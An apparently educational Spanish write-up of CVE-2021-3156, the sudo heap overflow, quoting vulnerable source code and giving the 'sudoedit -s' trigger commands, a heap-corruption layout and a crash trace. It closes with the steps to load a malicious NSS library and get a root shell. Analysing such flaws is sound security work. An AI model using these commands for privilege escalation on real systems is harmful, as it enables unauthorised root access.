
Implementación educativa y análisis de CVE-2021-3156, un desbordamiento de búfer en el montón en la función set_cmnd() de sudo, que permite la escalada de privilegios a root mediante argumentos de línea de comandos manipulados.
En este documento incluimos todo el conocimiento necesario para entender el código de este repositorio y por qué funciona. Toda la explicación se basa en el informe creado por QUALYS. Allí se explican otras formas de explotación.
Las versiones vulnerables de sudo son las versiones heredadas de 1.8.2 a 1.8.31p2 y todas las versiones estables de 1.9.0 a 1.9.5p1, en su configuración por defecto.
Este repositorio está probado en Ubuntu 20.04 (sudo 1.8.31). En él abrimos una terminal con privilegios de root.
Si Sudo se ejecuta para correr un comando en modo shell:
-s, que establece la bandera MODE_SHELL de sudo.-i, que establece las banderas MODE_SHELL y MODE_LOGIN_SHELL de sudo.Entonces, al inicio de main() de sudo, parse_args() reescribe argv, concatenando todos los argumentos de la línea de comandos y escapando todos los metacaracteres con barras invertidas.
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
Más tarde, en sudoers_policy_main(), set_cmnd() concatena los argumentos de la línea de comandos en un buffer user_args basado en el montón (heap) y desescapa los metacaracteres, "para fines de coincidencia y registro de sudoers":
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
Si un argumento de la línea de comandos termina con un solo carácter de barra invertida, entonces:
from[0] es el carácter de barra invertida y from[1] el terminador nulofrom se incrementa y apunta al terminador nulouser_args y from se incrementa de nuevo y apunta fuera de los límitesuser_args.En otras palabras, set_cmnd() es vulnerable a un desbordamiento del buffer basado en el montón, porque los caracteres fuera de los límites que se copian al buffer user_args no fueron incluidos en su tamaño.
En teoría, sin embargo, ningún argumento de línea de comandos puede terminar con un solo carácter de barra invertida: si MODE_SHELL o MODE_LOGIN_SHELL está establecido (una condición necesaria para llegar al código vulnerable), entonces MODE_SHELL está establecido y parse_args() ya escapó todos los metacaracteres, incluyendo las barras invertidas (es decir, escapó cada barra invertida individual con una segunda barra invertida).
En la práctica, sin embargo, el código vulnerable en set_cmnd() y el código de escape en parse_args() están rodeados por condiciones ligeramente diferentes:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
versus:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
La pregunta, entonces, es: ¿podemos establecer MODE_SHELL y ya sea MODE_EDIT o MODE_CHECK (para llegar al código vulnerable) pero no el MODE_RUN por defecto (para evitar el código de escape)?
La respuesta, al parecer, es no: si establecemos MODE_EDIT (opción -e) o MODE_CHECK (opción -l), entonces parse_args() elimina MODE_SHELL de valid_flags y sale con un error si especificamos una bandera inválida como MODE_SHELL):
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
Pero encontramos una escapatoria: si ejecutamos Sudo como sudoedit en lugar de sudo, entonces parse_args() establece automáticamente MODE_EDIT pero no reinicia valid_flags, y las valid_flags incluyen MODE_SHELL por defecto:
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
En consecuencia, si ejecutamos "sudoedit -s", entonces establecemos tanto MODE_EDIT como MODE_SHELL (pero no MODE_RUN), evitamos el código de escape, llegamos al código vulnerable y desbordamos el buffer user_args basado en el montón mediante un argumento de línea de comandos que termina con un solo carácter de barra invertida:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
Desde el punto de vista de un atacante, este desbordamiento de buffer es ideal:
user_args que desbordamos (el tamaño de nuestros argumentos de línea de comandos concatenados);user_args).Por ejemplo, en un Linux amd64, el siguiente comando asigna un buffer user_args de 24 bytes (un fragmento de montón de 32 bytes) y sobrescribe el campo size del siguiente fragmento con "A=a\0B=b\0" (0x00623d4200613d41), su campo fd con "C=c\0D=d\0" (0x00643d4400633d43) y su campo bk con "E=e\0F=f\0" (0x00663d4600653d45):
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- buffer user_args ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
La función que falla es nss_load_library() de glibc (en la línea 344) porque el puntero library fue sobrescrito.
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
Los pasos para explotar este bloqueo son los siguientes:
ni->library con NULL. Esto hará que el código entre en la cláusula if e inicie el análisis y la carga de la librería.ni->name con "X/X". Originalmente contiene "systemd".__strcpy analizarán "libnss_X/X.so.2" en lugar de "libnss_systemd.so.2"."libnss_X/X.so.2" como root. En ella podemos hacer lo que queramos como root.